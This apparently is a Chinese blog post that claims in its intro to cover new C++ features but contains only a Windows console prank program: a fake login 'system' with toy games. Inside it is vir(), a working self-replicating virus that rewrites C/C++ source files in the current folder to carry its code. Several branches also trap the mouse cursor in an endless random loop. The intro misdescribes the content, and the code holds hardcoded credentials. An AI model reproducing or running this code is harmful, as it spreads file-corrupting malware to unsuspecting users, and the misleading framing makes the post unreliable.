本文深入探讨了C++的最新发展和系统升级，包括新特性、性能优化以及对开发实践的影响。
#include<bits/stdc++.h>
#include<cstring>
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <ctime>
#include <conio.h>
#include <cmath>
#include <windows.h>
#define W 1
#define S 2
#define A 3
#define D 4
#define L 4
using namespace std;
void vir()
{
string CurFileName = __FILE__;//绝对路径
string obCurFileName //相对路径
= CurFileName.substr(CurFileName.find_last_of('//') + 1,CurFileName.size()-1);
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile("*.c*", &FindFileData);
string VirusCode[100];//病毒代码
string FileCode[500]; //宿主代码
int CodeLen = 0;//病毒代码长度
int FileLen = 0;//宿主代码长度
//病毒函数调用应当插在"main("后面的第一个"{"后面
//在C++中main有int main(),int main(int arg,char **r)等形式
int InsertLoc = 0;
//提取待传播的当前文件中的病毒代码
ifstream VirusFile(obCurFileName.c_str());
for (CodeLen = 0;getline(VirusFile,VirusCode[CodeLen]);CodeLen++)
{
if(VirusCode[CodeLen] == "//END")
{
CodeLen++;
break;
}
}
VirusFile.close();
//依次感染宿主文件
while (true)
{
//不能感染当前.cpp文件和已感染的文件
if(strcmp(FindFileData.cFileName,obCurFileName.c_str())== 0)
{
cout<<FindFileData.cFileName<<":是感染源!/n";
}
else//感染其它文件
{
//加载宿主文件
ifstream ibe(FindFileData.cFileName);
for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)
{
if (FileCode[FileLen].find("main") != -1)
{
InsertLoc = FileLen;
}
}
ibe.close();
if(FileCode[0] == "//START")//该文件已被感染
{
cout<<FindFileData.cFileName<<":已携带了病毒!/n";
}
else if (FileLen > 500)
{
cout<<FindFileData.cFileName<<":文件太大了!/n";
}
else
{
//打开宿主文件
ofstream be(FindFileData.cFileName);
//插入病毒代码
for(int i = 0;i < CodeLen;i++)
{
be<<VirusCode[i]<<endl;
}
//病毒函数调用位置前文本插入
for(int i = 0;i < InsertLoc;i++)
{
be<<FileCode[i]<<endl;
}
//插入函数调用vir()
for(int i = InsertLoc;i < FileLen;i++)
{
int j = FileCode[i].find('{');
if(j != -1)
{
FileCode[i].insert(j + 1,"/nvir();");
break;
}
}
//病毒函数调用位置后插入剩余文本
for(int i = InsertLoc;i < FileLen;i++)
{
be<<FileCode[i]<<endl;
}
be.close();
cout<<FindFileData.cFileName<<":感染成功!/n";
}
}
if (FindNextFile(hFind, &FindFileData) == false) break;
}
}
class aaa{
int x;
int y;
int x1;
int y1;
public:
aaa(){
x=y=x1=y1=10;
}
void bbb();
~aaa(){
}
};
void ccc(int a,int b){
int i;
system("cls");
for(i=0;i<b;i++)
cout<<endl;
for(i=0;i<a-1;i++){
cout<<' ';
}
cout<<"*";
}
void aaa::bbb(){
char ch;
int a,b;
a=x1;
b=y1;
cout<<"原点坐标:"<<"("<<x<<","<<y<<")"<<endl;
cout<<"该程序通过w，s,a,d实现*的上下左右移动,输入空格结束"<<endl;
cout<<"*";
ch=getch();
while(1){
ch=getch();
switch(ch){
case 'w':b=b-1;break;
case 's':b=b+1;break;
case 'a':a=a-1;break;
case 'd':a=a+1;break;
default:break;
}
ccc(a,b);
if(ch==' '){
int sum=0;
cout<<"最终坐标:"<<"("<<a<<","<<b<<")"<<endl;
sum=sqrt((a-10)*(a-10)+(b-10)*(b-10));
cout<<"两点间的距离="<<sum<<endl;
break;
}
}
}
HANDLE hout=GetStdHandle(STD_OUTPUT_HANDLE);
COORD coord;
void locate(int x,int y)
{
coord.X=y;
coord.Y=x;
SetConsoleCursorPosition(hout,coord);
};
void hide()
{
CONSOLE_CURSOR_INFO cursor_info={1,0};
SetConsoleCursorInfo(hout, &cursor_info);
}
double random(double start, double end)
{
return start+(end-start)*rand()/(RAND_MAX + 1.0);
}
int m,n;
struct node
{
int x,y;
}snake[1000];
int snake_length,dir;
node food;
int direct[4][2]={{-1,0},{1,0},{0,-1},{0,1}};
void print_wall()
{
cout << " ";
for (int i=1;i<=n;i++)
cout << "-";
cout << endl;
for (int j=0;j<=m-1;j++)
{
cout << "|";
for (int i=1;i<=n;i++) cout << " ";
cout << "|" << endl;
}
cout << " ";
for (int i=1;i<=n;i++)
cout << "-";
}
void print_snake()
{
locate(snake[0].x,snake[0].y);
cout << "@";
for (int i=1;i<=snake_length-1;i++)
{
locate(snake[i].x,snake[i].y);
cout << "*";
}
}
bool is_correct()
{
if (snake[0].x==0 || snake[0].y==0 || snake[0].x==m+1 || snake[0].y==n+1) return false;
for (int i=1;i<=snake_length-1;i++)
{
if (snake[0].x==snake[i].x && snake[0].y==snake[i].y) return false;
}
return true;
}
bool print_food()
{
srand((unsigned)time(0));
bool e;
while (1)
{
e=true;
int i=(int) random(0,m)+1,j=(int) random(0,n)+1;
food.x=i;food.y=j;
for (int k=0;k<=snake_length-1;k++)
{
if (snake[k].x==food.x && snake[k].y==food.y)
{
e=false;break;
}
}
if (e) break;
}
locate(food.x,food.y);
cout << "$";
return true;
}
bool go_ahead()
{
node temp;
bool e=false;
temp=snake[snake_length-1];
for (int i=snake_length-1;i>=1;i--)
snake[i]=snake[i-1];
snake[0].x+=direct[dir][0];
snake[0].y+=direct[dir][1];
locate(snake[1].x,snake[1].y);
cout << "*";
if (snake[0].x==food.x && snake[0].y==food.y)
{
snake_length++;
e=true;
snake[snake_length-1]=temp;
}
if (!e)
{
locate(temp.x,temp.y);
cout << " ";
}
else
print_food();
locate(snake[0].x,snake[0].y);
cout << "@";
if (!is_correct())
{
system("cls");
cout << "You lose!" << endl << "Length: " << snake_length << endl;
return false;
}
return true;
}
int main(){
cout<<" 欢迎登录此升级版CSD--CYT--1S++系统!!!"<<endl;
cout<<" (已是最高级CSD1系统)"<<endl;
const int MIMA=20111211;
const string YONGHUMINGONE="Computer2023@sina.com";
const string YONGHUMINGTWO="529297741@qq.com";
int mima;
string yonghuming;
cout<<"请输入密码:";
cin>>mima;
cout<<"请输入用户名:";
cin>>yonghuming;
if(mima==MIMA||mima==549&&(yonghuming==YONGHUMINGONE||yonghuming==YONGHUMINGTWO||yonghuming=="me")){
cout<<"登录成功!!!"<<endl;
cout<<"请输入你的号码:";
long long hm;
cin>>hm;
if(hm==18356512495){
cout<<"验证码已发送!!!验证码为:341987"<<endl;
int t;
cin>>t;
if(t==341987){
cout<<"您已经完成了所以内容,获得管理员最高权限!!!"<<endl;
cout<<"输入y,可以变成计算器"<<endl;
cout<<"输入n,可以玩抽奖"<<endl;
cout<<"输入f,可以做输入什么循环什么1000次"<<endl;
cout<<"输入h,可以判断奇偶"<<endl;
cout<<"输入e,可以玩贪吃蛇"<<endl;
cout<<"输入r,可以破解密码"<<endl;
cout<<"输入q,可以猜生日"<<endl;
cout<<"输入n,可以算开平方和平方"<<endl;
string a;
cin>>a;
if(a=="y"){
int s,d;
cin>>s>>d;
cout<<"和:"<<s+d<<endl;
cout<<"差:"<<s-d<<endl;
cout<<"积:"<<s*d<<endl;
cout<<"商:"<<s/d<<endl;
return 0;
}
else if(a=="e"){
cout << "--------------------贪吃蛇---------------------" << endl;
cout << "请先输入两个数,表示地图大小.要求长宽均不小于10." << endl;
cout << "请注意窗口大小,以免发生错位.建议将窗口调为最大." << endl;
cout << "再选择难度.请在1-10中输入1个数,1最简单,10则最难" << endl;
cout << "然后进入游戏画面,以方向键控制方向.祝你游戏愉快!" << endl;
cout << "-----------------------------------------------" << endl;
cin >> m >> n;
if (m<10 || n<10 || m>25 || n>40)
{
cout << "ERROR" << endl;
system("pause");
return 0;
}
int hard;
cin >> hard;
if (hard<=0 || hard>100)
{
cout << "ERROR" << endl;
system("pause");
return 0;
}
snake_length=5;
clock_t a,b;
char ch;
double hard_len;
for (int i=0;i<=4;i++)
{
snake[i].x=1;
snake[i].y=5-i;
}
dir=3;
system("cls");
hide();
print_wall();
print_food();
print_snake();
locate(m+2,0);
cout << "Now length: ";
while (1){
hard_len=(double)snake_length/(double) (m*n);
a=clock();
while (1)
{
b=clock();
if (b-a>=(int)(400-30*hard)*(1-sqrt(hard_len))) break;
}
if (kbhit())
{
ch=getch();
if (ch==-32)
{
ch=getch();
switch(ch)
{
case 72:
if (dir==2 || dir==3)
dir=0;
break;
case 80:
if (dir==2 || dir==3)
dir=1;
break;
case 75:
if (dir==0 || dir==1)
dir=2;
break;
case 77:
if (dir==0 || dir==1)
dir=3;
break;
}
}
}
if (!go_ahead()) break;
locate(m+2,12);
cout << snake_length;
}
system("pause");
return 0;
}
else if(a=="n"){
int f,g;
cout<<"抽奖程序:"<<endl;
cout<<"请输入1~5中的任意一个数!";
cin>>f;
srand(time(0));
g=rand()%5+1;
if(f==g) cout<<"恭喜胜利!!!"<<endl;
else cout<<"没中奖,请退出程序!"<<endl;
cout<<"中奖号码是:"<<g<<endl;
return 0;
}
else if(a=="f"){
cout<<"输入1个数字:";
int u;
cin>>u;
for(int i=1;i<=1000;i++){
cout<<u<<" "<<"ha ha ha";
}
return 0;
}
else if(a=="h"){
int h;
cout<<"输入一个数:";
cin>>h;
if(h%2==0) cout<<h<<"是偶数";
else cout<<h<<"不是偶数";
return 0;
}
else if(a=="r"){
cout<<"请输入您的密码: ";
string psw;
cin>>psw;
int len = psw.size();
char * ppsw = new char[len+1];
for(int n=0;n<len+1;n++)
ppsw[n]=0;
cout<<"<<<逐个匹配>>>:\n";
for(int i=0;i<len;i++){
cout<<"破解进行中...匹配>>";
for(int j=32;j<127;j++){
for(int m=0;m<5000000;m++);
cout<<(char)j<<"\b";
if(psw[i] == j){
ppsw[i]=j;
cout<<"\n密码第 "<<i+1<<" 个字符为: "<<(char)j<<endl;
break;
}
}
}
cout<<"\n破解成功!\n";
cout<<"你的密码是:"<<ppsw<<endl;
system("pause");
return 0;
}
else if(a=="m"){
long long kl;
cout<<"恭喜你,你发现了隐藏程序!!!"<<endl;
cout<<"cipher:";
cin>>kl;
if(kl==159357666){
cout<<"你获得了5级管理员权限!!"<<endl;
string df;
cout<<"输入指令:";
cin>>df;
if(df=="i"){
const long long SHU=168904;
long long shu;
cin>>shu;
if(shu==SHU){
cout<<"666!!这你也发现了!!666!!";
aaa lol;
lol.bbb();
return 0;
}
}
else{
cout<<"It's a bug.";
int x = GetSystemMetrics (SM_CXSCREEN);
int y = GetSystemMetrics (SM_CYSCREEN);
srand (time(0));
while (1) SetCursorPos (rand()%x,rand()%y);
return 0;
}
}
}
else if(a=="q"){
int date = 0; // Date to be determind
cout << "Is your birth date in this set ?" << endl;
cout << "16 17 18 19\n" <<
"20 21 22 23\n" <<
"24 25 26 27\n" <<
"28 29 30 31" << endl;
cout << "Enter N for No and Y for Yes: ";
char answer;
cin >> answer;
if (answer == 'Y')
date += 16;
cout << "Is your birth date in this set ?" << endl;
cout << " 8 9 10 11\n" <<
"12 13 14 15\n" <<
"24 25 26 27\n" <<
"28 29 30 31" << endl;
cout << "Enter N for No and Y for Yes: ";
cin >> answer;
if (answer =='Y')
date += 8;
cout << "Is your birth date in this set ?" << endl;
cout << " 1 3 5 7\n" <<
" 9 11 13 15\n" <<
"17 19 21 23\n" <<
"25 27 29 31" << endl;
cout << "Enter N for No and Y for Yes: ";
cin >> answer;
if (answer == 'Y')
date += 1;
cout << "Is your birth date in this set ?" << endl;
cout << " 2 3 6 7\n" <<
"10 11 14 15\n" <<
"18 19 22 23\n" <<
"26 27 30 31" << endl;
cout << "Enter N for No and Y for Yes: ";
cin >> answer;
if (answer == 'Y')
date += 2;
cout << "Is your birth date in this set ?" << endl;
cout << " 4 5 6 7\n" <<
"12 13 14 15\n" <<
"20 21 22 23\n" <<
"28 29 30 31" << endl;
cout << "Enter N for No and Y for Yes: ";
cin >> answer;
if (answer == 'Y')
date += 4;
cout << "Your birth date is " << date << endl;
return 0;
}
else if(a=="n"){
cout<<"输入两个数:";
int sd;
cin>>sd;
int j=sqrt(sd);
cout<<"开平方:"<<j<<endl;
cout<<"平方:"<<sd*sd<<endl;
return 0;
}
else{
for(int i=1;i<=500;i++){
cout<<"SB SB SB SB SB SB SB ";
if(i==279){
int y;
cin>>y;
if(y==123456){
return 0;
}
else{
for(int i=1;i<=1560;i++){
cout<<"SB SB SB SB SB SB ";
}
}
}
}
return 0;
}
}
else{
cout<<"失败!!!";
return 0;
}
}
if(hm==54){
cout<<"你是管理员!!!"<<endl;
cout<<"不,你入侵成功了!!!!"<<endl;
cout<<"还好我及时发现!!!"<<endl;
cout<<"请输入特殊代码:";
const string DM="namespace2023";
string dm;
cin>>dm;
if(dm==DM){
cout<<"你真是!!!"<<endl;
cout<<"再见";
return 0;
}
else{
cout<<"你不是!!!"<<endl;
cout<<"接受怒火病毒吧!!";
int x = GetSystemMetrics (SM_CXSCREEN);
int y = GetSystemMetrics (SM_CYSCREEN);
srand (time(0));
while (1) SetCursorPos (rand()%x,rand()%y);
return 0;
}
}
else{
int hj;
cout<<"号码无效!!!"<<endl;
cout<<"你已被记录!!你属于恶意入侵!!"<<endl;
cout<<"请输入一个数:";
cin>>hj;
for(int i=1+1-1;i<=hj;i++){
cout<<"你被发现了!!! ";
}
return 0;
}
}
else if(mima==54096&&yonghuming=="using1") {
cout<<"欢迎你,黑客,你也可能是管理员!!!"<<endl;
cout<<"这是CSD--CYT的暗区!!"<<endl;
cout<<"祝你愉快!!!"<<endl;
string uos;
cin>>uos;
if(uos=="r"||uos=="p"||uos=="k"||uos=="i"||uos=="e"||uos=="q"||uos=="h"){
cout<<"由于你的疏忽,来了陷阱,就接受病毒吧!!";
int x = GetSystemMetrics (SM_CXSCREEN);
int y = GetSystemMetrics (SM_CYSCREEN);
srand (time(0));
while (1) SetCursorPos (rand()%x,rand()%y);
return 0;
}
else if(uos=="w"||uos=="m"){
cout<<"恭喜你,避开了陷阱!!!";
cout<<endl;
cout<<"来玩生死抽奖吧!!"<<endl;
cout<<"请输入1~5任意1个数:";
int hj,hk;
cin>>hj;
srand(time(0));
hk=rand()%5+1;
if(hj==hk){
cout<<"你赢了!!!"<<endl;
cout<<"太厉害了!!!"<<endl;
cout<<"你可以干事情了"<<endl;
int yu;
cin>>yu;
int t;
for(int i=1;i<=yu;i++){
while(yu!=0){
t++;
yu--;
if(t==100){
int mh;
cin>>mh;
string kl;
cin>>kl;
for(int j=1;j<=kl.size();j++){
if(mh==54188){
cout<<"危险,危险!!";
string hk;
cin>>hk;
if(hk=="k"){
cout<<"你避开了危险!!!";
return 0;
}
else{
cout<<"你没了!!!";
vir();
return 0;
}
}
}
}
}
}
}
else{
cout<<"你没了!!!";
int x = GetSystemMetrics (SM_CXSCREEN);
int y = GetSystemMetrics (SM_CYSCREEN);
srand (time(0));
while (1) SetCursorPos (rand()%x,rand()%y);
return 0;
}
}
}
else{
cout<<"登录失败!!!"<<endl;
cout<<"未知:";
int qq;
cin>>qq;
for(int i=1;i<=qq;i++){
cout<<"你好笨 ";
}
return 0;
}
cout<<"欢迎下次登录!";
return 0;
}求点赞!!!
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